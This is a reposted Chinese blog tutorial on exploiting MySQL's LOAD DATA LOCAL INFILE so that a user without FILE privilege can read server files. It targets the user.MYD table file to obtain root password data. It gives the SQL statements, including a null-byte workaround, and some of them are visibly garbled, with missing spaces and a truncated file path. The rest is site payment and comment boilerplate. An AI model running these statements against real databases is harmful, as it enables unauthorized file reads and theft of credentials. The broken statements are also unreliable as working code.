mysql低权限读文件吗_Mysql 漏洞利用(越权读取文件,实战怎么从低权限拿到root密码) | CN-SEC 中文网...

摘要

cnrstar (Be My Personal Best!) | 2014-05-20 21:58 众所周知,Mysql的用户在没有File权限情况下是无法通过Load_file读文件或者通过into dumpfile 或者into outfile去写文件,但是偶尔在一个网站上发现个小技巧,也就是通过load data infile可以读取本地文件到数据库,这样子我们就可以在低权限下通过这个bug去读取服务器上的文件。代码如下:

cnrstar (Be My Personal Best!) | 2014-05-20 21:58

众所周知,Mysql的用户在没有File权限情况下是无法通过Load_file读文件或者通过into dumpfile 或者into outfile去写文件,但是偶尔在一个网站上发现个小技巧,也就是通过load data infile可以读取本地文件到数据库,这样子我们就可以在低权限下通过这个bug去读取服务器上的文件。代码如下:

LOAD DATA LOCAL INFILE'C:/boot.ini'INTO TABLE test FIELDS TERMINATED BY'';

后来我就一直想怎么利用这个问题。一个可行的思路如下:

我们去读取

于是本地测试,注意,我当前连接的用户test是没有File权限的:

02c73815fc9efa22d62517ae4c43a1c7.png

LOAD DATA LOCAL INFILE'C:/wamp/bin/mysql/INTO TABLE test2 fields terminatedby'';

然后

select*fromtest2;

6b5c12ea1c7b136f74f432ecd3398634.png

发现啥都木有,只有一个烂字符,我们用winhex打开一下user.myd文件

29356bfe05a0598c1671c41383d83899.png

OK,找到问题了,被00字符给截断了,导致后面的东西都没进数据库。下面就想办法

经过几次尝试发现,在后面加上LINES TERMINATED BY '/0' 即可,这样子就把截断符号作为分隔符处理了,完整的语句:

LOAD DATA LOCAL INFILE'C:/wamp/bin/mysql/INTO TABLE test2 fields terminatedby''LINES TERMINATED BY'/0';

效果:

31faf7afffb408edb5cf6934fd7cd79c.png

OK,完成!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值